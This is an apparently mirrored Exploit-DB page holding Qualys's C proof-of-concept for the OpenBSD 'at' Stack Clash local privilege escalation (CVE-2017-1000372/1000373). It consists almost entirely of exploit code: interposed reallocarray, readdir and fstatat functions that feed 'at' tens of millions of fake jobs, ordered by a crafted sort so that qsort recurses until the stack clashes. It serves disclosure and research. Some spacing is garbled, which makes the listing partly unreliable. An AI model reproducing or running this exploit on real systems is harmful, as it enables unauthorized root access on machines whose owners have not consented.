OpenBSD – ‘at Stack Clash’ Local Privilege Escalation

  • 作者: Qualys Corporation
    日期: 2017-06-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42271/
  • /*
     * OpenBSD_at.c for CVE-2017-1000373
     * Copyright (c) 2017Qualys, Inc.
     * slowsort() adapted from lib/libc/stdlib/qsort.c:
     *
     * Copyright (c) 1992, 1993
     *The Regents of the University of California.All rights reserved.
     *
     * Redistribution and use in source and binary forms, with or without
     * modification, are permitted provided that the following conditions
     * are met:
     * 1. Redistributions of source code must retain the above copyright
     *notice, this list of conditions and the following disclaimer.
     * 2. Redistributions in binary form must reproduce the above copyright
     *notice, this list of conditions and the following disclaimer in the
     *documentation and/or other materials provided with the distribution.
     * 3. Neither the name of the University nor the names of its contributors
     *may be used to endorse or promote products derived from this software
     *without specific prior written permission.
     *
     * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
     * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
     * ARE DISCLAIMED.IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
     * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
     * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
     * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
     * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
     * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
     * SUCH DAMAGE.
     */
    
    /*
     *OpenBSD_at.c for CVE-2017-1000372
     *Copyright (C) 2017Qualys, Inc.
     *ttime() adapted from usr.bin/at/at.c:
     *
     *at.c : Put file into atrun queue
     *Copyright (C) 1993, 1994Thomas Koenig
     *
     *Atrun & Atq modifications
     *Copyright (C) 1993David Parsons
     *
     *Traditional BSD behavior and other significant modifications
     *Copyright (C) 2002-2003Todd C. Miller
     *
     * Redistribution and use in source and binary forms, with or without
     * modification, are permitted provided that the following conditions
     * are met:
     * 1. Redistributions of source code must retain the above copyright
     *notice, this list of conditions and the following disclaimer.
     * 2. The name of the author(s) may not be used to endorse or promote
     *products derived from this software without specific prior written
     *permission.
     *
     * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
     * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
     * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
     * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
     * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
     * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
     * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     */
    
    #include <ctype.h>
    #include <dirent.h>
    #include <dlfcn.h>
    #include <fcntl.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/param.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <time.h>
    #include <unistd.h>
    
    static const char *
    u64tostr(uint64_t u64)
    {
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
    if (cp <= str) _exit(__LINE__);
    *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
    }
    
    #define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
    } while (0)
    
    static __inline char*med3(char *, char *, char *, int (*)(const void *, const void *));
    static __inline void swapfunc(char *, char *, size_t, int);
    
    /*
     * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
     */
    #define swapcode(TYPE, parmi, parmj, n) { \
    size_t i = (n) / sizeof (TYPE); \
    TYPE *pi = (TYPE *) (parmi);\
    TYPE *pj = (TYPE *) (parmj);\
    do {\
    TYPEt = *pi;\
    *pi++ = *pj;\
    *pj++ = t;\
    } while (--i > 0);\
    }
    
    #define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
    es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;
    
    static __inline void
    swapfunc(char *a, char *b, size_t n, int swaptype)
    {
    if (swaptype <= 1)
    swapcode(long, a, b, n)
    else
    swapcode(char, a, b, n)
    }
    
    #define swap(a, b)\
    if (swaptype == 0) {\
    long t = *(long *)(a);\
    *(long *)(a) = *(long *)(b);\
    *(long *)(b) = t; \
    } else\
    swapfunc(a, b, es, swaptype)
    
    #define vecswap(a, b, n)if ((n) > 0) swapfunc(a, b, n, swaptype)
    
    static __inline char *
    med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
    {
    return cmp(a, b) < 0 ?
     (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
    :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
    }
    
    typedef struct {
    size_t idx;
    size_t key;
    } slowsort_t;
    
    static __inline void
    set_key(void * const _pss, const size_t key)
    {
    slowsort_t * const pss = _pss;
    if (!pss) die();
    if (!key) die();
    if (pss->key) die();
    pss->key = key;
    }
    
    #define RESET_KEY SIZE_MAX
    
    static void
    slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
    {
    if (!aa) die();
    if (n <= 0) die();
    if (n >= SSIZE_MAX) die();
    if (es <= 0) die();
    if (es >= SSIZE_MAX) die();
    if (!cmp) die();
    
    #define SET_KEYS 4
    #define STACK_FRAME_SIZE 176
    const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
    if (n < pathological) die();
    size_t innocuous = n - pathological;
    
    char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
    int cmp_result, swaptype;
    size_t d, r;
    char *a = aa;
    
    loop: SWAPINIT(a, es);
    if (innocuous) {
    if (n <= innocuous) die();
    if (n - innocuous <= SET_KEYS) die();
    if (n <= 40) die();
    }
    if (n < 7) {
    for (pm = a; pm < a + n * es; pm += es) {
    set_key(pm, 1 + (pm - a) / es);
    }
    for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
    for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
     pl -= es)
    swap(pl, pl - es);
    return;
    }
    pm = (char *)a + (n / 2) * es;
    size_t set_keys = 0;
    if (n > 7) {
    pl = (char *)a;
    pn = (char *)a + (n - 1) * es;
    if (n > 40) {
    d = (n / 8) * es;
    if (innocuous) {
    set_key(pl, RESET_KEY);
    set_key(pl + d, RESET_KEY);
    set_key(pl + 2 * d, RESET_KEY);
    }
    pl = med3(pl, pl + d, pl + 2 * d, cmp);
    if (innocuous) set_key(pm - d, RESET_KEY);
    set_key(pm + 0, n - innocuous - 3);
    set_key(pm + d, n - innocuous - 2);
    pm = med3(pm - d, pm, pm + d, cmp);
    if (innocuous) set_key(pn - 2 * d, RESET_KEY);
    set_key(pn - d, n - innocuous - 1);
    set_key(pn - 0, n - innocuous - 0);
    pn = med3(pn - 2 * d, pn - d, pn, cmp);
    set_keys = SET_KEYS;
    } else {
    set_key(pm, n - 1);
    set_key(pn, n - 0);
    set_keys = 2;
    }
    pm = med3(pl, pm, pn, cmp);
    } else {
    set_key(pm, n - 0);
    set_keys = 1;
    }
    if (!set_keys) die();
    swap(a, pm);
    if (innocuous) {
    if (a != aa) die();
    slowsort_t * pss = aa;
    {
    const size_t key = pss->key;
    if (!key) die();
    if (n <= 40) die();
    if (set_keys != SET_KEYS) die();
    if (key != n - innocuous - set_keys + 1) die();
    }
    const slowsort_t * const end = pss + n;
    size_t i = 0;
    for (;; pss++) {
    if (pss >= end) {
    if (i != innocuous) die();
    break;
    }
    if (!pss->key) {
    if (i < innocuous) {
    set_key(pss, n - i++);
    set_keys++;
    }
    } else if (pss->key == RESET_KEY) {
    pss->key = 0;
    } else {
    if (pss->key > n - innocuous) die();
    }
    }
    }
    pa = pb = (char *)a + es;
    pc = pd = (char *)a + (n - 1) * es;
    for (;;) {
    while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
    if (cmp_result == 0) {
    swap(pa, pb);
    pa += es;
    }
    pb += es;
    }
    while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
    if (cmp_result == 0) {
    swap(pc, pd);
    pd -= es;
    }
    pc -= es;
    }
    if (pb > pc)
    break;
    swap(pb, pc);
    pb += es;
    pc -= es;
    }
    
    pn = (char *)a + n * es;
    r = MIN(pa - (char *)a, pb - pa);
    vecswap(a, pb - r, r);
    r = MIN(pd - pc, pn - pd - (ssize_t)es);
    vecswap(pb, pn - r, r);
    
    if ((pb - pa) / es != n - set_keys) die();
    if ((pd - pc) / es != set_keys - 1) die();
    
    if ((r = pb - pa) > es) {
    n = r / es;
    innocuous = 0;
    goto loop;
    }
    die();
    }
    
    static int
    cmp_key(const void * const a, const void * const b)
    {
    const size_t __a_key = ((const slowsort_t *)a)->key;
    const size_t __b_key = ((const slowsort_t *)b)->key;
    const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
    const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
    if (a_key < b_key) return -1;
    if (a_key > b_key) return +1;
    return 0;
    }
    
    #defineATOI2(s)((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))
    
    /*
     * Adapted from date(1)
     */
    static time_t
    ttime(char *arg)
    {
    time_t now, then;
    struct tm *lt;
    int yearset;
    char *dot, *p;
    
    if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
    die();
    
    /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
    for (p = arg, dot = NULL; *p != '\0'; p++) {
    if (*p == '.' && dot == NULL)
    dot = p;
    else if (!isdigit((unsigned char)*p))
    goto terr;
    }
    if (dot == NULL)
    lt->tm_sec = 0;
    else {
    *dot++ = '\0';
    if (strlen(dot) != 2)
    goto terr;
    lt->tm_sec = ATOI2(dot);
    if (lt->tm_sec > 61)/* could be leap second */
    goto terr;
    }
    
    yearset = 0;
    switch(strlen(arg)) {
    case 12:/* CCYYMMDDhhmm */
    lt->tm_year = ATOI2(arg) * 100;
    lt->tm_year -= 1900;/* Convert to Unix time */
    yearset = 1;
    /* FALLTHROUGH */
    case 10:/* YYMMDDhhmm */
    if (yearset) {
    yearset = ATOI2(arg);
    lt->tm_year += yearset;
    } else {
    yearset = ATOI2(arg);
    /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
    lt->tm_year = yearset;
    if (yearset < 69)
    lt->tm_year += 100;
    }
    /* FALLTHROUGH */
    case 8:/* MMDDhhmm */
    lt->tm_mon = ATOI2(arg);
    if (lt->tm_mon > 12 || lt->tm_mon == 0)
    goto terr;
    --lt->tm_mon;/* Convert from 01-12 to 00-11 */
    lt->tm_mday = ATOI2(arg);
    if (lt->tm_mday > 31 || lt->tm_mday == 0)
    goto terr;
    lt->tm_hour = ATOI2(arg);
    if (lt->tm_hour > 23)
    goto terr;
    lt->tm_min = ATOI2(arg);
    if (lt->tm_min > 59)
    goto terr;
    break;
    default:
    goto terr;
    }
    
    lt->tm_isdst = -1;/* mktime will deduce DST. */
    then = mktime(lt);
    if (then == (time_t)-1) {
    terr:
    die();
    }
    if (then < now)
    die();
    return (then);
    }
    
    static bool reading_jobs;
    
    void *
    reallocarray(void * const ptr, const size_t nmemb, const size_t size)
    {
    static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
    if (!real_reallocarray) {
    real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
    if (!real_reallocarray) die();
    }
    if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
    if (reading_jobs) die();
    reading_jobs = true;
    }
    void * const new_ptr = real_reallocarray(ptr, nmemb, size);
    if (!new_ptr) die();
    return new_ptr;
    }
    
    #define NUMJOBS (40<<20)
    
    static const size_t *
    get_jobkeys(void)
    {
    const size_t n = NUMJOBS;
    slowsort_t * const a = calloc(n, sizeof(slowsort_t));
    write(STDERR_FILENO, "initializing jobkeys\n", 21);
    if (!a) die();
    size_t i;
    for (i = 0; i < n; i++) {
    a[i].idx = i;
    }
    slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
    size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
    write(STDERR_FILENO, "finalizing jobkeys\n", 19);
    if (!jobkeys) die();
    for (i = 0; i < n; i++) {
    const size_t j = a[i].idx;
    const size_t k = a[i].key;
    if (j >= n) die();
    if (k <= 0) die();
    if (k > n) die();
    if (jobkeys[j]) die();
    jobkeys[j] = k;
    }
    free(a);
    return jobkeys;
    }
    
    static struct dirent dirent;
    
    struct dirent *
    readdir(DIR * const dirp)
    {
    static struct dirent * (* real_readdir)(DIR *dirp);
    if (!real_readdir) {
    real_readdir = dlsym(RTLD_NEXT, "readdir");
    if (!real_readdir) die();
    }
    if (!reading_jobs) {
    return real_readdir(dirp);
    }
    static size_t numjobs;
    if (numjobs >= NUMJOBS) {
    write(STDERR_FILENO, "sorting jobs\n", 13);
    return NULL;
    }
    static char arg[32];
    char * cp = arg + sizeof(arg);
    *--cp = '\0';
    {
    static const struct {
    uint32_t min;
    uint32_t max;
    } units[] = {
    { 0, 59 }, /* Second */
    { 0, 59 }, /* Minute */
    { 0, 23 }, /* Hour */
    { 1, 28 }, /* Day */
    { 1, 12 }, /* Month */
    { 2038, 2099 } /* Year */
    };
    static const size_t * jobkeys;
    if (!jobkeys) {
    jobkeys = get_jobkeys();
    if (!jobkeys) die();
    write(STDERR_FILENO, "reading jobs\n", 13);
    }
    uint32_t timer = jobkeys[numjobs++];
    if (timer > NUMJOBS) die();
    if (timer <= 0) die();
    static size_t percent = 10;
    if (numjobs == NUMJOBS / 100 * percent) {
    const char * const str = u64tostr(percent);
    const size_t len = strlen(str);
    write(STDERR_FILENO, str, len);
    write(STDERR_FILENO, "%\n", 2);
    percent += 10;
    }
    size_t i;
    for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
    const uint32_t min = units[i].min;
    const uint32_t max = units[i].max;
    const uint32_t div = max - min + 1;
    const uint32_t u32 = min + timer % div;
    timer /= div;
    if (u32 < min) die();
    if (u32 > max) die();
    const char * const str = u64tostr(u32);
    const size_t len = strlen(str);
    if (cp <= arg) die();
    if (cp - arg < (ssize_t)len) die();
    cp -= len;
    memcpy(cp, str, len);
    if (len < 2) {
    if (cp <= arg) die();
    *--cp = '0';
    }
    if (!i) {
    if (cp <= arg) die();
    *--cp = '.';
    }
    }
    if (timer) die();
    }
    if (strlen(cp) != 15) die();
    const uint64_t timer = ttime(cp);
    strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
    strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
    return &dirent;
    }
    
    int
    fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
    {
    static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
    if (!real_fstatat) {
    real_fstatat = dlsym(RTLD_NEXT, "fstatat");
    if (!real_fstatat) die();
    }
    if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
    return real_fstatat(fd, path, sb, flag);
    }
    memset(sb, 0, sizeof(*sb));
    sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
    static uid_t user_uid;
    if (!user_uid) {
    user_uid = getuid();
    if (!user_uid) die();
    }
    sb->st_uid = user_uid;
    return 0;
    }